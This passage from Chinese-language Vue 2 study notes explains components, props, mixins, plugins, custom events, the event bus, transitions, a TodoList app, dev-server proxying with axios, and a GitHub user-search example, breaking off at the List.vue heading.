- 可以在定义组件时使用 name 配置项指定组件在 Vue 开发者工具中呈现的名字
-
非单文件组件的定义和使用:
<div id="root"> <!-- 使用组件 --> <school></school> <hr/> <student></student> </div> <hr/> <script type="text/javascript"> Vue.config.productionTip = false // 定义 school 组件 const school = Vue.extend({ template: ` <div> <h1>学校名称:{{ schoolName }}</h1> <h1>学校地址:{{ address }}</h1> <button @click="showSchool">展示学校</button> </div> `, data() { return { schoolName: 'WHUT', address: '湖北省武汉市' } }, methods: { showSchool() { alert(this.schoolName); } } }); // 定义 student 组件 const student = Vue.extend({ template: ` <div> <h1>学生姓名:{{ studentName }}</h1> <h1>学生年龄:{{ age }}</h1> </div> `,wha data() { return { studentName: 'Spring-_-Bear', age: 18 } } }); new Vue({ el: '#root', components: { // 注册局部组件 school: school, student: student } }) </script>
-
嵌套组件的定义和使用:
<div id="root"> </div> <script type="text/javascript"> Vue.config.productionTip = false // 定义 student 组件 const student = Vue.extend({ template: ` <div> <h1>学生姓名:{{ studentName }}</h1> <h1>学生年龄:{{ age }}</h1> </div> `, data() { return { studentName: 'Spring-_-Bear', age: 18 } } }); // 定义 school 组件 const school = Vue.extend({ template: ` <div> <h1>学校名称:{{ schoolName }}</h1> <h1>学校地址:{{ address }}</h1> <student></student> </div> `, data() { return { schoolName: 'WHUT', address: '湖北省武汉市' } }, // 嵌套组件注册 components: { student: student } }); // 定义 hello 组件 const hello = Vue.extend({ template: ` <div> <h1>Hello World</h1> </div> ` }) // 管理组件的组件 app 组件 const app = Vue.extend({ template: ` <div> <school></school> <hello></hello> </div> `, components: { // school 组件中使用 student 组件 school: school, hello: hello } }); new Vue({ template: ` <app></app> `, el: '#root', components: { app: app } }) </script>
-
全局组件的定义和使用:
<div id="root"> <h1>root</h1> <hello></hello> </div> <hr/> <div id="app"> <h1>app</h1> <hello></hello> </div> <script type="text/javascript"> Vue.config.productionTip = false // 注册全局组件 Vue.component('hello', Vue.extend({ template: ` <div> <h1>Hello World</h1> </div> ` })); new Vue({ el: '#root' }) new Vue({ el: '#app' }) </script>
-
单文件组件的定义和使用:
-
main.js
:应用入口文件,注册并使用 App 组件import App from "./App"; new Vue({ el: 'root', template: `<App></App>`, components: {App} });
-
App.vue
:顶级组件,用于管理其它组件<template> <div> <school></school> <student></student> </div> </template> <script> // 引入其它组件 import School from "./School"; import Student from "./Student"; export default { name: "App", // 注册组件 components: {Student, School} } </script>
-
School.vue
:实现学校相关功能<!-- 组件的结构 --> <template> <div class="demo"> <h1>学校名称:{{ name }}</h1> <h1>学校地址:{{ address }}</h1> <button @click="showSchool">show</button> </div> </template> <!-- 组件的行为 --> <script> // 暴露组件 export default { name: 'School', data() { return { name: '武汉理工大学', address: '湖北省武汉市' } }, methods: { showSchool() { alert(this.name); } } } </script> <!-- 组件的样式 --> <style> .demo { background-color: aqua; } </style>
-
Student.vue
:实现学生相关功能<!-- 组件的结构 --> <template> <div> <h1>姓名:{{ name }}</h1> <h1>年龄:{{ age }}</h1> </div> </template> <!-- 组件的行为 --> <script> // 暴露组件 export default { name: 'Student', data() { return { name: 'Spring-_-Bear', age: 18 } } } </script>
-
index.html
:引入vue.js
和main.js
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="UTF-8"> <title>首页</title> </head> <body> <div id="root"></div> <script type="text/javascript" src="../js/vue.js"></script> <script type="text/javascript" src="main.js"></script> </body> </html>
-
2.3 VueComponent
-
组件:本质是一个名为
VueComponent
的构造函数,由Vue.extend
函数调用。当使用组件时,Vue 解析组件标签的过程中会生成组件的实例对象。每次调用 Vue.extend,返回的都是一个全新的 VueComponent -
this 对象:
- 在组件实例 vc 中:data 函数、methods 中的函数、watch 中的函数、computed 中的函数,this 指向 VueComponent 实例对象 vc
- 在 Vue 实例 vm 中:data 函数、methods 中的函数、watch 中的函数、computed 中的函数,this 指向 Vue 实例 vm
-
显式原型对象与隐式原型对象间的关系:
<script type="text/javascript"> function Demo() { this.a = 1 this.b = 2 } const demo = new Demo(); console.log('显式原型对象:', Demo.prototype); console.log('隐式原型对象:', demo.__proto__); // output: true console.log(Demo.prototype === demo.__proto__) // 通过显式原型属性操作原型对象,追加一个 x 属性,值为 38,则 demo 身上也能直接看到 x Demo.prototype.x = 38; /* * 实例的隐式原型属性永远指向自己缔造者的原型对象 */ console.log(demo.x); </script>
-
组件重要的内置关系:
VueComponent.prototype.__proto__ === Vue.prototype
,即让组件实例对象(vc)可以访问到 Vue 原型上的属性和方法
三、脚手架
3.1 开发环境配置
-
安装
Node.js
并配置淘宝镜像:npm config set registry https://registry.npm.taobao.org
-
全局安装 Vue 脚手架:
npm install -g @vue/cli
-
创建 Vue 项目:
vue create projectName
-
启动 Vue 项目:
npm run serve
-
修改默认配置:在工程路径下的
vue.config.js
中修改默认配置,如关闭语法检查:const { defineConfig } = require('@vue/cli-service') module.exports = defineConfig({ transpileDependencies: true, // 关闭语法检查 lintOnSave: false })
3.2 render 函数
// 默认引入 vue/dist/vue.runtime.esm.js
import Vue from 'vue'
import App from './App.vue'
Vue.config.productionTip = false
new Vue({
el: '#app',
render: h => h(App)
})
vue.js
与 vue.runtime.xxx.js
的区别:
-
vue.js 是完整版的 Vue,包含核心功能和模板解析器
-
vue.runtime.xxx.js 是运行时版的 Vue,只包含核心功能,没有模板解析器,所以不能使用 template 配置项,需要使用 render 函数接收到的 createElement 函数去创建具体内容
render(createElement) { // 通过 render 函数接收到的 createElement 函数创建具体内容 return createElement('h1', 'Hello World') }
3.3 ref 引用
ref 属性被用来给元素或子组件注册引用信息:
- 应用在 html 标签上获取的是真实的 DOM 元素
- 应用在组件标签上是组件实例对象(VueComponent)
<template>
<div>
<h1 ref="hello">Hello World</h1>
<button @click="show">Click me</button>
<School ref="school"/>
</div>
</template>
<script>
import School from "@/components/School";
export default {
name: "App",
components: {School},
methods: {
show() {
// 真实 DOM 元素
console.log(this.$refs.hello);
// 组件实例对象
console.log(this.$refs.school)
}
}
}
</script>
3.4 props 配置(组件通信)
props 配置用于组件接收外部传递的数据,一般用于接收父组件所传递的数据。props 传递的数据是 只读的
,Vue 底层会检测对 props 传递数据的修改行为,若进行了修改则会在控制台发出警告
App.vue
:给子组件传递数据
<template>
<div>
<!-- 给组件传递数据 -->
<Student name="Spring-_-Bear" sex="男" :age="18"/>
</div>
</template>
<script>
import Student from "@/components/Student";
export default {
name: "App",
components: {Student}
}
</script>
Student.vue
:使用 props 配置接受来自父组件的数据
<template>
<div class="school">
<h1>{{ msg }}</h1>
<h1>姓名:{{ name }}</h1>
<h1>性别:{{ sex }}</h1>
<h1>年龄:{{ copyAge }}</h1>
<button @click="copyAge++">age++</button>
</div>
</template>
<script>
export default {
name: "Student",
data() {
return {
msg: '我是清华大学的学生',
// 拷贝 props 中传递的 age 用于修改,因为 props 中接收到的数据是只读的
copyAge: this.age
}
},
// 方式一(数组式):简单声明接收
// props: ['name', 'sex', 'age']
// 方式二(对象式):接收的同时对数据类型进行限制
// props: {
// name: String,
// sex: String,
// age, Number
// }
// 方式三:数据类型限制 + 默认值指定 + 必要性限制
props: {
name: {
type: String,
required: true
},
sex: {
type: String,
required: false
},
age: {
type: Number,
default: 99
}
}
}
</script>
<style scoped>
.school {
background-color: gray;
}
</style>
3.5 mixin 混入
mixin 混入:用于组件间复用相同的逻辑和数据,混入就是把组件多次使用的属性和方法等内容进行封装
-
配置局部混入:
-
mixin.js
:抽取多个组件的共用逻辑和数据进行封装export const mixin = { methods: { showName() { alert(this.name) } }, data() { return {msg: 'Welcome to learn Vue'} } }
-
School.vue
:通过mixins
配置项配置局部混入,可配置多个 mixin<template> <div class="school"> <h1>{{ msg }}</h1> <h1 @click="showName">学校:{{ name }}</h1> <h1>地址:{{ address }}</h1> </div> </template> <script> import {mixin} from "@/mixin"; export default { name: "Student", data() { return { name: '武汉理工大学', address: '湖北省武汉市' } }, // 配置局部混入 mixins: [mixin] } </script> <style scoped> .school { background-color: gray; } </style>
-
Student.vue
:通过mixins
配置项配置局部混入,可配置多个 mixin<template> <div class="school"> <h1>{{ msg }}</h1> <h1 @click="showName">姓名:{{ name }}</h1> <h1>性别:{{ sex }}</h1> </div> </template> <script> import {mixin} from "@/mixin"; export default { name: "Student", data() { return { name: 'Spring-_-Bear', sex: 'male' } }, // 配置局部混入 mixins: [mixin] } </script> <style scoped> .school { background-color: gray; } </style>
-
-
配置全局混入:与配置全局自定义指令、全局过滤器类似
-
mixin.js
:抽取所有组件共有的逻辑和数据进行封装export const mixin = { methods: { showName() { alert(this.name) } }, data() { return {msg: 'Welcome to learn Vue'} } }
-
main.js
:引入混入文件并使用Vue.mixin()
方法配置全局混入,可供所有组件使用import Vue from "vue"; import App from './App.vue' import {mixin} from "@/mixin"; Vue.config.productionTip = false // 配置全局混入 Vue.mixin(mixin) new Vue({ el: '#app', render: h => h(App) })
-
3.6 plugin 插件
插件:用于增强 Vue,本质是一个包含 install()
方法的对象。install 函数的第一个参数是 Vue,第二个参数是插件使用者所传递的数据
pulgins.js
:在 install 方法中配置当前插件所拥有的各种功能,如全局过滤器、全局自定义指令、全局混入等
import {mixin} from "@/mixin";
export default {
install(Vue, params) {
console.log('接收到的参数:', params)
// 全局过滤器
Vue.filter('mySlice', function (val) {
return val.slice(0, 4);
});
// 全局自定义指令
Vue.directive('myfocus', {
bind(element, binding) {
element.value = binding.value
},
inserted(element, binding) {
element.focus()
},
update(element, binding) {
element.value = binding.value
}
})
// 全局混入
Vue.mixin(mixin)
// 往 Vue 原型上添加方法
Vue.prototype.hello = () => {
alert("Hello World")
};
}
}
main.js
:引入并使用插件
import Vue from "vue";
import App from './App.vue'
import plugins from "@/plugins";
Vue.config.productionTip = false
// 使用插件,并给插件传递消息
Vue.use(plugins, 'Used plugins in the main.js')
new Vue({
el: '#app',
render: h => h(App)
})
3.7 localStorage
本地存储内容大小一般为 5M,因浏览器而异。通过 Window.localStorage
和 Window.sessionStorage
对象中的 API 来实现本地存储和会话存储
<div id="root">
<button onclick="add()">本地存储:添加</button>
<button onclick="delItem()">本地存储:删除</button>
<button onclick="update()">本地存储:修改</button>
<button onclick="read()">本地存储:读取</button>
<button onclick="clearAll()">本地存储:清除</button>
</div>
<script type="text/javascript">
// 会话存储对象的 API 和本地存储一致,仅仅是生存周期不同而已
const localStorage = window.localStorage;
function add() {
localStorage.setItem('name', 'Spring-_-Bear');
// save object
localStorage.setItem('wut', JSON.stringify({name: 'WHUT', address: 'HBWH'}));
}
function delItem() {
localStorage.removeItem('name');
}
function update() {
localStorage.setItem('name', 'bear');
}
function read() {
// read object
let objStr = localStorage.getItem('wut');
console.log(JSON.parse(objStr))
}
function clearAll() {
localStorage.clear();
}
</script>
3.8 组件自定义事件(组件通信)
-
组件自定义事件:适用于父组件给子组件绑定自定义事件,从而实现
子 ===> 父
组件通信。自定义事件的回调在父组件中,而事件的触发在子组件中-
方式一:v-on 实现
<template> <div> <!-- v-on 实现组件自定义事件(v-on.once.getName:事件只触发一次) --> <Student v-on:getName="getStudentName"/> </div> </template> <script> import Student from "@/components/Student"; export default { name: "App", components: {Student}, methods: { getStudentName(val, ...params) { console.log(val) console.log(params) } } } </script>
-
方式二:ref 实现
<template> <div> <!-- ref 实现组件自定义事件 --> <Student ref="student"/> </div> </template> <script> import Student from "@/components/Student"; export default { name: "App", components: {Student}, methods: { getStudentName(val, ...params) { console.log(val) console.log(params) } }, mounted() { setTimeout(() => { // 给子组件绑定一个自定义事件 this.$refs.student.$on('getName', this.getStudentName) /* this.$refs.student.$once('getName', this.getStudentName) 只触发一次 */ }, 3000); } } </script>
-
-
子组件触发自定义事件实现组件通信:
<template> <div class="student"> <h1>姓名:{{ name }}</h1> <h1>性别:{{ sex }}</h1> <button @click="sendName">发送我的名字</button> </div> </template> <script> export default { name: "Student", data() { return { name: 'Spring-_-Bear', sex: 'male' } }, methods: { // 通过调用 VC 身上的自定义事件实现给父组件传递消息 sendName() { this.$emit('getName', this.name, 1, 2, 3, 4, 5) } } } </script>
-
自定义事件的解绑:
<template> <div class="student"> <h1>姓名:{{ name }}</h1> <h1>性别:{{ sex }}</h1> <button @click="sendName">发送我的名字</button> <button @click="unbind">解绑自定义事件</button> </div> </template> <script> export default { name: "Student", data() { return { name: 'Spring-_-Bear', sex: 'male' } }, methods: { // 通过调用 VC 身上的自定义事件实现给父组件传递消息 sendName() { this.$emit('getName', this.name, 1, 2, 3, 4, 5) }, unbind() { // 方式一:解绑单个自定义事件 // this.$off('getName') // 方式二:解绑多个自定义事件 // this.$off(['getName', 'test']) // 方式三:解绑所有自定义事件 this.$off() } } } </script>
-
给组件绑定原生 DOM 事件:需要适用
native
事件修饰符<template> <div> <h1>Name received: {{ msg }}</h1> <Student ref="student" @click.native="show"/> </div> </template>
-
通过
this.$refs.xxx.$on('eventName', callFunction)
绑定自定义事件时,回调要么配置在methods
中,要么使用箭头函数,否则 this 指向会出问题,即以下两种方式等价<template> <div> <h1>Name received: {{ msg }}</h1> <Student ref="student"/> </div> </template> <script> import Student from "@/components/Student"; export default { name: "App", components: {Student}, data() { return { 'msg': '' } }, mounted() { // 此处的回调函数必须为箭头函数 this.$refs.student.$on('getName', val => { console.log(val) this.msg = val }); } } </script>
<template> <div> <h1>Name received: {{ msg }}</h1> <Student ref="student"/> </div> </template> <script> import Student from "@/components/Student"; export default { name: "App", components: {Student}, data() { return { 'msg': '' } }, methods: { getStudentName(val) { console.log(val) this.msg = val } }, mounted() { this.$refs.student.$on('getName', this.getStudentName) } } </script>
3.9 全局事件总线(组件通信)
全局事件总线是一种组件间通信的方式,适用于任意组件间通信。全局事件总线并不是插件、配置文件等等,事件总线是程序员在做 Vue 开发中总结积累的一套方法、规则,只要满足这套规则就可以实现组件间的通信
-
main.js
:装配全局事件总线,供组件间通信使用import Vue from "vue"; import App from './App.vue' Vue.config.productionTip = false new Vue({ el: '#app', render: h => h(App), beforeCreate() { // 装配全局事件总线 Vue.prototype.$bus = this } })
-
Studnet.vue
:消息接收者,在事件总线$bus
上注册事件(函数)<template> <div> <h1>姓名:{{ name }}</h1> <h1>性别:{{ sex }}</h1> </div> </template> <script> export default { name: "Student", data() { return { name: 'Spring-_-Bear', sex: 'male' } }, mounted() { // 在总线上注册事件 this.$bus.$on('stuReceiveMsg', msg => { console.log('我是 Student,收到消息如下:', msg) }); }, beforeDestroy() { // 解绑当前组件用到的事件 this.$bus.$off('stuReceiveMsg') } } </script>
-
School.vue
:消息发送者,利用总线触发事件,实现组件通信<template> <div> <h1>学校:{{ name }}</h1> <h1>地址:{{ address }}</h1> <button @click="noticeStudent('所有学生今天必须做核酸')">通知学生做核酸</button> </div> </template> <script> export default { name: "School", data() { return { name: '武汉理工大学', address: '湖北省武汉市' } }, methods: { noticeStudent(msg) { // 通过总线触发事件,从而实现组件通信 this.$bus.$emit('stuReceiveMsg', '通知内容如下:' + msg) } } } </script>
-
App.vue
:引入并使用其它组件<template> <div> <School/> <Student/> </div> </template> <script> import School from "@/components/School"; import Student from "@/components/Student"; export default { name: "App", components: {School, Student} } </script>
3.10 消息订阅与发布(组件通信)
安装
pubsub-js
库用于实现消息订阅与发布:npm i pubsub-js
-
消息接收者:也即消息订阅者,注册函数用于订阅消息
<template> <div> <h1>姓名:{{ name }}</h1> <h1>性别:{{ sex }}</h1> </div> </template> <script> import pubsub from 'pubsub-js' export default { name: "Student", data() { return { name: 'Spring-_-Bear', sex: 'male' } }, mounted() { // 订阅消息:使用箭头函数时 this 指向 VC,使用正常函数时 this 为 undefined this.pid = pubsub.subscribe('schoolNotice', (msgName, msg) => { console.log('Come from ' + msgName, ', data is ' + msg); }) }, beforeDestroy() { // 取消订阅 pubsub.unsubscribe(this.pid); } } </script>
-
消息发送者:也即发布者,发布消息
<template> <div> <h1>学校:{{ name }}</h1> <h1>地址:{{ address }}</h1> <button @click="noticeStudent('所有学生今天必须做核酸')">通知学生做核酸</button> </div> </template> <script> import pubsub from 'pubsub-js' export default { name: "School", data() { return { name: '武汉理工大学', address: '湖北省武汉市' } }, methods: { noticeStudent(msg) { // 发布消息 pubsub.publish('schoolNotice', msg); } } } </script>
-
App.vue
:引入并使用其它组件<template> <div> <School/> <Student/> </div> </template> <script> import School from "@/components/School"; import Student from "@/components/Student"; export default { name: "App", components: {School, Student} } </script>
3.11 $nextTick
$nextTick
指定的回调函数会在下一次 DOM 更新结束后执行。适用于当数据改变后要基于更新后的 DOM 进行某些特殊操作,如输入框值 DOM 更新后下次打开时自动聚焦
用法详见
TodoList
案例中的TodoItem
组件
3.12 动画与过渡
-
动画效果:将要实现实现动画效果的单个元素使用
transition
标签包裹<template> <div> <button @click="isShow = !isShow">Display / Hide</button> <!-- 将要实现实现动画的单个元素使用 `transition` 标签包裹 --> <transition name="hello" appear> <h1 v-show="isShow">Hello World</h1> </transition> </div> </template> <script> export default { name: "Animation", data() { return { isShow: true } } } </script> <style scoped> h1 { background-color: skyblue; text-align: center; } /* 入场激活 */ .hello-enter-active { animation: helloAnimation 0.5s linear; } /* 离开激活 */ .hello-leave-active { animation: helloAnimation 0.5s linear reverse; } /* 定义动画 */ @keyframes helloAnimation { from { transform: translateX(-100%); } to { transform: translateX(0px); } } </style>
-
过渡效果:将要实现实现过渡效果的单个元素使用
transition
标签包裹<template> <div> <button @click="isShow = !isShow">Display / Hide</button> <!-- 将要实现实现过渡效果的单个元素使用 `transition` 标签包裹 --> <transition name="hello" appear> <h1 v-show="isShow">Hello World</h1> </transition> </div> </template> <script> export default { name: "Animation", data() { return { isShow: true } } } </script> <style scoped> h1 { background-color: skyblue; text-align: center; } .hello-enter, .hello-leave-to { transform: translateX(-100%); } .hello-enter-active, .hello-leave-active { transition: 0.5s linear; } .hello-leave, .hello-enter-to { transform: translateX(0); } </style>
-
多个元素过渡:
-
方式一:增加一个顶级
div
囊括需要实现过渡的元素<template> <div> <button @click="isShow = !isShow">Display / Hide</button> <transition name="hello" appear> <div v-show="isShow"> <h1>Hello World</h1> <h1>Vue</h1> </div> </transition> </div> </template> <script> export default { name: "Animation", data() { return { isShow: true } } } </script> <style scoped> h1 { background-color: skyblue; text-align: center; } .hello-enter, .hello-leave-to { transform: translateX(-100%); } .hello-enter-active, .hello-leave-active { transition: 0.5s linear; } .hello-leave, .hello-enter-to { transform: translateX(0); } </style>
-
方式二:使用
transition-group
元素包裹需要实现过渡效果的多个元素<template> <div> <button @click="isShow = !isShow">Display / Hide</button> <!-- 多个元素过渡效果使用 transition-group 标签包裹 --> <transition-group name="hello" appear> <h1 v-show="isShow" :key="1">Hello World</h1> <h1 v-show="isShow" :key="2">Vue</h1> </transition-group> </div> </template> <script> export default { name: "Animation", data() { return { isShow: true } } } </script> <style scoped> h1 { background-color: skyblue; text-align: center; } .hello-enter, .hello-leave-to { transform: translateX(-100%); } .hello-enter-active, .hello-leave-active { transition: 0.5s linear; } .hello-leave, .hello-enter-to { transform: translateX(0); } </style>
-
3.13 TodoList 案例
安装 nanoid 用于生成 UUID:
npm i nanoid
用到的知识点:
- 双向数据绑定、键盘事件、监视属性、条件渲染、事件绑定、钩子函数、嵌套组件
- props、组件自定义事件、全局事件总线
- 多个元素过渡、浏览器本地存储
- nanoid、ref、$nexttick
-
main.js
import Vue from "vue"; import App from './App.vue' Vue.config.productionTip = false new Vue({ el: '#app', render: h => h(App), beforeCreate() { // 装配全局事件总线 Vue.prototype.$bus = this } })
-
App.vue
<template> <div id="root"> <div class="todo-container"> <div class="todo-wrap"> <!-- 自定义事件 addTodoItem --> <TodoHeader @addTodoItem="addTodoItem"/> <!-- 给组件传递数据 --> <TodoList :todos="todos"/> <!-- 自定义事件 checkAllItems、clearCompletedItems --> <TodoFooter :todos="todos" @checkAllItems="checkAllItems" @clearCompletedItems="clearCompletedItems"/> </div> </div> </div> </template> <script> import TodoHeader from "@/components/TodoHeader"; import TodoList from "@/components/TodoList"; import TodoFooter from "@/components/TodoFooter"; export default { name: 'App', components: {TodoHeader, TodoList, TodoFooter}, data() { return { // 浏览器本地读取 todos 数据 todos: JSON.parse(localStorage.getItem('todos')) || [] } }, methods: { // 增 addTodoItem(todoItem) { this.todos.unshift(todoItem) }, // 删 deleteTodoItem(id) { this.todos = this.todos.filter((todo) => { return id !== todo.id; }); }, // 删:清除已完成项 clearCompletedItems() { this.todos = this.todos.filter((todo) => { return !todo.completed }); }, // 改:修改项描述 updateTodoItem(id, description) { this.todos.forEach((todo) => { if (id === todo.id) { todo.description = description } }); }, // 改:选中全部 checkAllItems(status) { this.todos.forEach((todo) => { todo.completed = status }); }, // 改:修改项状态 changeTodoItemStatus(id) { this.todos.forEach((todo) => { if (id === todo.id) { todo.completed = !todo.completed; } }); } }, watch: { todos: { deep: true, handler(newVal) { // 浏览器本地存储 localStorage.setItem('todos', JSON.stringify(newVal)) } } }, mounted() { // 在全局事件总线上注册事件 this.$bus.$on('changeTodoItemStatus', this.changeTodoItemStatus) this.$bus.$on('deleteTodoItem', this.deleteTodoItem) this.$bus.$on('updateTodoItem', this.updateTodoItem) }, beforeDestroy() { // 解绑全局事件总线事件 this.$bus.$off(['changeTodoItemStatus', 'deleteTodoItem', 'updateTodoItem']) } } </script> <style> body { background: #fff; } .btn { display: inline-block; padding: 4px 12px; margin-bottom: 0; font-size: 14px; line-height: 20px; text-align: center; vertical-align: middle; cursor: pointer; box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); border-radius: 4px; } .btn-danger { color: #fff; background-color: #da4f49; border: 1px solid #bd362f; } .btn-info { color: #fff; background-color: skyblue; border: 1px solid #2e5968; margin-right: 5px; } .btn-info:hover { color: #fff; background-color: #2e5968; } .btn-danger:hover { color: #fff; background-color: #bd362f; } .btn:focus { outline: none; } .todo-container { width: 600px; margin: 0 auto; } .todo-container .todo-wrap { padding: 10px; border: 1px solid #ddd; border-radius: 5px; } </style>
-
TodoHeader.vue
<template> <div class="todo-header"> <input type="text" placeholder="请输入您的任务,按回车键确认" v-model.trim="description" @keyup.enter="addItem"/> </div> </template> <script> import {nanoid} from "nanoid"; export default { name: "TodoHeader", data() { return { description: '' } }, methods: { addItem() { if (!this.description) { return alert("添加项目不能为空!"); } // 全局事件总线:触发 App 组件中的自定义事件实现消息通信(子 => 父) this.$emit('addTodoItem', {id: nanoid(), description: this.description, completed: false}); this.description = ''; } } } </script> <style scoped> .todo-header input { width: 560px; height: 28px; font-size: 14px; border: 1px solid #ccc; border-radius: 4px; padding: 4px 7px; } .todo-header input:focus { outline: none; border-color: rgba(82, 168, 236, 0.8); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); } </style>
-
TodoList.vue
<template> <ul class="todo-main"> <!-- 多个元素过渡 --> <transition-group name="todo" appear> <TodoListItem v-for="todo in todos" :todo="todo" :key="todo.id"/> </transition-group> </ul> </template> <script> import TodoListItem from "@/components/TodoItem"; export default { name: "TodoList", components: {TodoListItem}, props: ['todos'] } </script> <style scoped> .todo-main { margin-left: 0px; border: 1px solid #ddd; border-radius: 2px; padding: 0px; } .todo-empty { height: 40px; line-height: 40px; border: 1px solid #ddd; border-radius: 2px; padding-left: 5px; margin-top: 10px; } .todo-enter, .todo-leave-to { transform: translateX(100%); } .todo-enter-active, .todo-leave-active { transition: 0.3s linear; } .todo-leave, .todo-enter-to { transform: translateX(0); } </style>
-
TodoItem.vue
<template> <li> <label> <!-- 选中状态 --> <input type="checkbox" :checked="todo.completed" @change="changeItemStatus(todo.id)"/> <!-- 内容 --> <span v-show="!todo.isEdit">{{ todo.description }}</span> <!-- 编辑输入框 --> <input type="text" :value="todo.description" v-show="todo.isEdit" @blur="handleBlur($event, todo)" ref="updateInputEle"> </label> <!-- 删除与编辑 --> <button class="btn btn-danger" @click="deleteItem(todo.id)">删除</button> <button class="btn btn-info" @click="editItem(todo)" v-show="!todo.isEdit">编辑</button> </li> </template> <script> export default { name: "TodoListItem", props: ['todo'], methods: { deleteItem(id) { // 触发全局事件总线实现消息通信(孙 => 爷) this.$bus.$emit('deleteTodoItem', id) }, changeItemStatus(id) { // 触发全局事件总线实现消息通信(孙 => 爷) this.$bus.$emit('changeTodoItemStatus', id) }, editItem(todo) { if (todo.hasOwnProperty('isEdit')) { todo.isEdit = true } else { this.$set(todo, 'isEdit', true) } // $nextTick 指定的回调函数会在 DOM 节点更新之后再执行 this.$nextTick(function () { this.$refs.updateInputEle.focus() }); }, handleBlur(e, todo) { if (e.target.value.trim()) { // 触发全局事件总线实现消息通信(孙 => 爷) this.$bus.$emit('updateTodoItem', todo.id, e.target.value) } todo.isEdit = false } } } </script> <style scoped> li { list-style: none; height: 36px; line-height: 36px; padding: 0 5px; border-bottom: 1px solid #ddd; } li label { float: left; cursor: pointer; } li label li input { vertical-align: middle; margin-right: 6px; position: relative; top: -1px; } li button { float: right; display: none; margin-top: 3px; } li:before { content: initial; } li:last-child { border-bottom: none; } li:hover { background-color: gray; } li:hover button { display: block; } </style>
-
TodoFooter.vue
<template> <div class="todo-footer" v-show="todos.length"> <!-- 选中全部 --> <label><input type="checkbox" @change="checkAll" :checked="todos.length === completedTotal && todos.length > 0"/></label> <span> <span>已完成 {{ completedTotal }}</span> / 全部 {{ todos.length }} </span> <button class="btn btn-danger" @click="clearCompleted">清除已完成</button> </div> </template> <script> export default { name: "TodoFooter", props: ['todos'], computed: { completedTotal() { return this.todos.reduce((pre, cur) => { return pre + (cur.completed ? 1 : 0) }, 0); } }, methods: { checkAll(e) { // 触发 App 组件中的自定义事件实现消息通信(子 => 父) this.$emit('checkAllItems', e.target.checked) }, clearCompleted() { // 触发 App 组件中的自定义事件实现消息通信(子 => 父) this.$emit('clearCompletedItems'); } } } </script> <style scoped> .todo-footer { height: 40px; line-height: 40px; padding-left: 6px; margin-top: 5px; } .todo-footer label { display: inline-block; margin-right: 20px; cursor: pointer; } .todo-footer label input { position: relative; top: -1px; vertical-align: middle; margin-right: 5px; } .todo-footer button { float: right; margin-top: 5px; } </style>
3.14 配置代理
安装 axios 请求库:
npm i axios
-
单台服务器代理配置:
-
vue.config.js
中配置代理信息const {defineConfig} = require('@vue/cli-service') module.exports = defineConfig({ transpileDependencies: true, // 关闭语法检查 lintOnSave: false, // 配置代理 devServer: { proxy: 'http://localhost:5000' } })
-
axios
请求库向代理服务器发起请求,由代理服务器向真实服务器发请求<template> <button @click="getStudents">获取学生数据</button> </template> <script> import axios from 'axios' export default { name: "App", methods: { getStudents() { // 请求代理服务器,由代理服务器发起请求 axios.get('http://localhost:8080/students').then( response => { console.log('请求成功', response.data) }, error => { console.log('请求失败', error.message) } ) } } } </script>
-
-
多台服务器代理配置:
-
vue.config.js
中依次配置多台服务器代理const {defineConfig} = require('@vue/cli-service') module.exports = defineConfig({ transpileDependencies: true, // 关闭语法检查 lintOnSave: false, // 配置代理 devServer: { proxy: { '/stu': { target: 'http://localhost:5000', // 重写请求路径 pathRewrite: {'^/stu': ''}, // WebSocket,默认为 true ws: true, // true 时修改请求头中的 HOST 为 target 中的值,默认为 true changeOrigin: true }, '/car': { target: 'http://localhost:5001', pathRewrite: {'^/car': ''} } } } })
-
axios
请求库根据需求向代理服务器发起不同的路径请求,由代理服务器向真实服务器发请求<template> <div> <button @click="getStudents">获取学生数据</button> <button @click="getCars">获取汽车数据</button> </div> </template> <script> import axios from 'axios' export default { name: "App", methods: { getStudents() { // 请求代理服务器 axios.get('http://localhost:8080/stu/students').then( response => { console.log('请求成功', response.data) }, error => { console.log('请求失败', error.message) } ) }, // 请求代理服务器 getCars() { axios.get('http://localhost:8080/car/cars').then( response => { console.log('请求成功', response.data) }, error => { console.log('请求失败', error.message) } ) } } } </script>
-
-
使用
vue-resource
插件代替axios
请求库:安装 vue-resource 插件:
npm i vue-resource
-
main.js
:引入并使用插件import Vue from "vue"; import App from './App.vue'; import VueResource from 'vue-resource' Vue.config.productionTip = false // 使用 vue-resource 插件 Vue.use(VueResource) new Vue({ el: '#app', render: h => h(App) })
-
this.$http.get
:发起请求,获取响应<template> <button @click="getStudents">获取学生数据</button> </template> <script> export default { name: "App", methods: { getStudents() { // 使用 this.$http.get 发起请求 this.$http.get('http://localhost:8080/students').then( response => { console.log('请求成功', response.data) }, error => { console.log('请求失败', error.message) } ) } } } </script>
-
3.15 GitHub 案例
需在 public 目录中的
index.html
中引入bootstrap.css
用到的知识点:
- 全局事件总线
- axios 请求库
-
main.js
:装配全局事件总线import Vue from "vue"; import App from './App.vue' Vue.config.productionTip = false new Vue({ el: '#app', render: h => h(App), beforeCreate() { // 装配全局事件总线 Vue.prototype.$bus = this } })
-
App.vue
:引入并使用其它组件<template> <div class="container"> <Search/> <List/> </div> </template> <script> import Search from "@/components/Search"; import List from "@/components/List"; export default { name: "App", components: {List, Search} } </script>
-
Search.vue
:发起请求,获取响应,通过全局事件总线传递数据<template> <section class="jumbotron"> <h3 class="jumbotron-heading">GitHub Users Search</h3> <div> <input v-model="keyWord" type="text" placeholder="enter the username you want to search"/> <button @click="searchUsers">Search</button> </div> </section> </template> <script> import axios from 'axios' export default { name: "Search", data() { return { 'keyWord': '' } }, methods: { searchUsers() { // 加载中··· this.$bus.$emit('getUserInfo', {isFirst: false, isLoading: true, errorMsg: '', users: []}) // 发起请求,获取响应 axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then( response => { this.$bus.$emit('getUserInfo', {isFirst: false, isLoading: false, errorMsg: '', users: response.data.items}) }, error => { this.$bus.$emit('getUserInfo', {isFirst: false, isLoading: false, errorMsg: error.message, users: []}) } ) } } } </script>
-
List.vue
